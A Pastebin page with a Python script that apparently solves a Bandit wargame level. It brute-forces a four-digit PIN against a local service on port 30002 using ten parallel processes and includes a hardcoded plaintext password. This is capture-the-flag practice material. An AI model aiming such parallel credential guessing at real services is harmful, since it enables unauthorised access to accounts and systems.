Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- from multiprocessing import Process
- password = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
- address='127.0.0.1'
- port = 30002
- def trycon(first, second):
- try:
- with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
- s.connect((address, port))
- s.recv(1024)
- for i in range(first, second):
- message = '{} {}\n'.format(password, i).zfill(4)
- s.sendall(message.encode())
- data = s.recv(1024)
- answer = data.decode('utf-8')
- #print(i)
- if 'Wrong' not in answer:
- print(message, answer)
- with open('bandit25.txt', 'a') as f:
- f.write('{} {}'.format(message, answer))
- quit()
- except socket.timeout:
- print('Timeout!')
- if __name__ == '__main__':
- p1 = Process(target = trycon, args = (0, 999,))
- p2 = Process(target = trycon, args = (1000, 1999,))
- p3 = Process(target = trycon, args = (2000, 2999,))
- p4 = Process(target = trycon, args = (3000, 3999,))
- p5 = Process(target = trycon, args = (4000, 4999,))
- p6 = Process(target = trycon, args = (5000, 5999,))
- p7 = Process(target = trycon, args = (6000, 6999,))
- p8 = Process(target = trycon, args = (7000, 7999,))
- p9 = Process(target = trycon, args = (8000, 8999,))
- p10 = Process(target = trycon, args = (9000, 10000,))
- p1.start()
- p2.start()
- p3.start()
- p4.start()
- p5.start()
- p6.start()
- p7.start()
- p8.start()
- p9.start()
- p10.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement